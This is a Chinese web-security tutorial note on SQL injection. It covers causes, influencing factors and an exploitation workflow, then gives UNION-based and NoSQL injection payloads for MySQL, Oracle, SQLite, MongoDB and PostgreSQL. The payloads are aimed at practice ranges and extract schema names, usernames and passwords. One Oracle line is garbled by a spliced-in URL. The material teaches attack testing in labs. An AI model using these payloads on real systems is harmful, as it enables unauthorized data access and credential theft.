Web攻防-SQL注入&数据库类型&用户权限&架构分层&符号干扰&利用过程&发现思路

知识点:

1、Web攻防-SQL注入-产生原理&应用因素

2、Web攻防-SQL注入-各类数据库类型利用

演示案例-WEB攻防-SQL注入-数据库类型&架构分层&符号干扰

一、数据库知识

1、数据库名,表名,列名,数据


2、自带数据库,数据库用户及权限



3、数据库敏感函数,默认端口(3306、1521、1433、6379等)

4、数据库查询方法(增删改查)

二、SQL注入产生原理

bash 复制代码
代码中执行的SQL语句存在可控变量导致

三、影响SQL注入的主要因素

1、数据库类型(权限操作)

2、数据操作方法(增删改查)

3、参数数据类型(符号干扰)

4、参数数据格式(加密编码等)

5、提交数据方式(数据包部分)

bash 复制代码
GET注入、POST注入、HTTP头注入

6、有无数据处理(无回显逻辑等)

bash 复制代码
 延迟注入

四、常见SQL注入的利用过程

bash 复制代码
1、判断数据库类型
2、判断参数类型及格式
3、判断数据格式及提交
4、判断数据回显及防护
5、获取数据库名,表名,列名
6、获取对应数据及尝试其他利用

五、黑盒/白盒如何发现SQL注入

bash 复制代码
1、盲对所有参数进行测试
2、整合功能点脑补进行测试
白盒参考后期代码审计课程

六、利用过程

bash 复制代码
获取数据库名->表名->列名->数据(一般是关键数据,如管理员)

演示案例-WEB攻防-SQL注入-数据库类型&利用过程&发现思路

靶场

http://vulnweb.com/
https://mozhe.cn/Special/SQL_Injection

一、Access:已经基本淘汰 意义不大

二、Mssql

http://vulnweb.com/

三、Mysql

https://mozhe.cn/Special/SQL_Injection

参考文章:https://blog.csdn.net/weixin_57524749/article/details/140618103

1、查看当前页面在数据库里的字段数

bash 复制代码
order by 5

2、获取数据库名

bash 复制代码
id=-1 union select 1,database(),3,4

3、获取表名

bash 复制代码
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'



4、获取列名

bash 复制代码
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'


5、获取相关数据

bash 复制代码
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member


四、Oracle

参考文章:https://blog.csdn.net/A2893992091/article/details/141365829

bash 复制代码
and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables whehttps://blog.csdn.net/qq_32393893/article/details/103083240
 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')

五、SQLite

参考文章: https://blog.csdn.net/qq_32393893/article/details/103083240

bash 复制代码
union select 1,name,sql,4 from sqlite_master limit 0,1
bash 复制代码
union select 1,name,password,4 from WSTMart_reg

六、MongoDB

参考文章:https://blog.csdn.net/m0_75036923/article/details/141364038

bash 复制代码
id=1'});return ({title:'1',content:'2
bash 复制代码
'});return ({content:tojson(db.getCollectionNames()),title:'1
bash 复制代码
'});return ({content:tojson(db.Authority_confidential.find()[0]),title:'

七、PostgreSQL

参考文章:https://blog.csdn.net/2401_88387979/article/details/144275425

bash 复制代码
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null 
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
相关推荐
Demonsong_6 天前
在职老D渗透日记day19:sqli-labs靶场通关(第26a关)get布尔盲注 过滤or和and基础上又过滤了空格和注释符 ‘)闭合
sql注入
菜根Sec9 天前
Sqli-labs靶场搭建及报错处理
web安全·网络安全·渗透测试·sql注入·网络安全靶场
16年上任的CTO16 天前
常见网络攻击类型及防护手段
网络攻击模型·ddos·xss·sql注入·网络防护·xsrf·arf
看天走路吃雪糕19 天前
sqli-labs:Less-28a关卡详细解析
select·sql注入·union·联合查询注入·sqli-labs·less-28a
看天走路吃雪糕19 天前
sqli-labs:Less-24关卡详细解析
sql注入·sqli-labs·less-24·二次排序注入
看天走路吃雪糕20 天前
sqli-labs:Less-23关卡详细解析
sql注入·sqli-labs·报错盲注·less-23·注释符
看天走路吃雪糕20 天前
sqli-labs:Less-26关卡详细解析
sql注入·sqli-labs·报错盲注·or·less-26·and
看天走路吃雪糕20 天前
sqli-labs:Less-21关卡详细解析
sql注入·cookie·sqli-labs·报错盲注·less-21
看天走路吃雪糕21 天前
sqli-labs:Less-20关卡详细解析
sql注入·cookie·sqli-labs·报错盲注·less-20
Savvy..23 天前
Day07 JDBC+MyBatis
mybatis·jdbc·数据库连接池·sql注入·yml